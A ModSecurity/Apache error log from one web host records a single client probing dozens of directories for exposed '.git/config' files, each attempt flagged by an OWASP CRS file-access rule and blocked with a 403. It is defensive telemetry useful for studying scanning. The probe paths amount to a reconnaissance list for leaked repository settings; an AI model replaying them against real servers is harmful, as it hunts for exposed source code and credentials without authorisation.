[Wed Apr 03 09:03:55.148603 2024] [:error] [pid 2230840] [client 91.215.85.29:53262] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPgAAAAo&quot;]
[Wed Apr 03 09:03:55.148997 2024] [:error] [pid 2230840] [client 91.215.85.29:53262] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPgAAAAo&quot;]
[Wed Apr 03 09:03:55.161972 2024] [:error] [pid 2228853] [client 91.215.85.29:53276] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdgAAAAU&quot;]
[Wed Apr 03 09:03:55.162414 2024] [:error] [pid 2228853] [client 91.215.85.29:53276] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdgAAAAU&quot;]
[Wed Apr 03 09:03:55.162742 2024] [:error] [pid 2228853] [client 91.215.85.29:53276] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdgAAAAU&quot;]
[Wed Apr 03 09:03:55.164888 2024] [:error] [pid 2230841] [client 91.215.85.29:53282] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvjwAAAAs&quot;]
[Wed Apr 03 09:03:55.165118 2024] [:error] [pid 2230841] [client 91.215.85.29:53282] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvjwAAAAs&quot;]
[Wed Apr 03 09:03:55.165351 2024] [:error] [pid 2230841] [client 91.215.85.29:53282] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvjwAAAAs&quot;]
[Wed Apr 03 09:03:55.189224 2024] [:error] [pid 2228852] [client 91.215.85.29:53292] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSyAAAAAQ&quot;]
[Wed Apr 03 09:03:55.189644 2024] [:error] [pid 2228852] [client 91.215.85.29:53292] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSyAAAAAQ&quot;]
[Wed Apr 03 09:03:55.189953 2024] [:error] [pid 2228852] [client 91.215.85.29:53292] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSyAAAAAQ&quot;]
[Wed Apr 03 09:03:55.195280 2024] [:error] [pid 2230842] [client 91.215.85.29:53302] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCQAAAAw&quot;]
[Wed Apr 03 09:03:55.196002 2024] [:error] [pid 2230842] [client 91.215.85.29:53302] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCQAAAAw&quot;]
[Wed Apr 03 09:03:55.196411 2024] [:error] [pid 2230842] [client 91.215.85.29:53302] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCQAAAAw&quot;]
[Wed Apr 03 09:03:55.197159 2024] [:error] [pid 2228849] [client 91.215.85.29:53316] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIgAAAAE&quot;]
[Wed Apr 03 09:03:55.197563 2024] [:error] [pid 2228849] [client 91.215.85.29:53316] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIgAAAAE&quot;]
[Wed Apr 03 09:03:55.197810 2024] [:error] [pid 2228849] [client 91.215.85.29:53316] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjIgAAAAE&quot;]
[Wed Apr 03 09:03:55.200622 2024] [:error] [pid 2228850] [client 91.215.85.29:53312] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHAAAAAI&quot;]
[Wed Apr 03 09:03:55.201177 2024] [:error] [pid 2228850] [client 91.215.85.29:53312] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHAAAAAI&quot;]
[Wed Apr 03 09:03:55.201591 2024] [:error] [pid 2228850] [client 91.215.85.29:53312] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHAAAAAI&quot;]
[Wed Apr 03 09:03:55.230451 2024] [:error] [pid 2230843] [client 91.215.85.29:53324] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBQAAAA0&quot;]
[Wed Apr 03 09:03:55.231036 2024] [:error] [pid 2230843] [client 91.215.85.29:53324] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBQAAAA0&quot;]
[Wed Apr 03 09:03:55.231524 2024] [:error] [pid 2230843] [client 91.215.85.29:53324] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBQAAAA0&quot;]
[Wed Apr 03 09:03:55.234246 2024] [:error] [pid 2230835] [client 91.215.85.29:53330] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWgAAAAY&quot;]
[Wed Apr 03 09:03:55.234754 2024] [:error] [pid 2230835] [client 91.215.85.29:53330] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWgAAAAY&quot;]
[Wed Apr 03 09:03:55.235211 2024] [:error] [pid 2230835] [client 91.215.85.29:53330] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWgAAAAY&quot;]
[Wed Apr 03 09:03:55.237091 2024] [:error] [pid 2228848] [client 91.215.85.29:53344] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45wAAAAA&quot;]
[Wed Apr 03 09:03:55.237313 2024] [:error] [pid 2228848] [client 91.215.85.29:53344] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45wAAAAA&quot;]
[Wed Apr 03 09:03:55.237483 2024] [:error] [pid 2228848] [client 91.215.85.29:53344] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45wAAAAA&quot;]
[Wed Apr 03 09:03:55.249436 2024] [:error] [pid 2230840] [client 91.215.85.29:53358] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPwAAAAo&quot;]
[Wed Apr 03 09:03:55.249746 2024] [:error] [pid 2230840] [client 91.215.85.29:53358] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPwAAAAo&quot;]
[Wed Apr 03 09:03:55.249982 2024] [:error] [pid 2230840] [client 91.215.85.29:53358] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEPwAAAAo&quot;]
[Wed Apr 03 09:03:55.265786 2024] [:error] [pid 2228853] [client 91.215.85.29:53370] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQdwAAAAU&quot;]
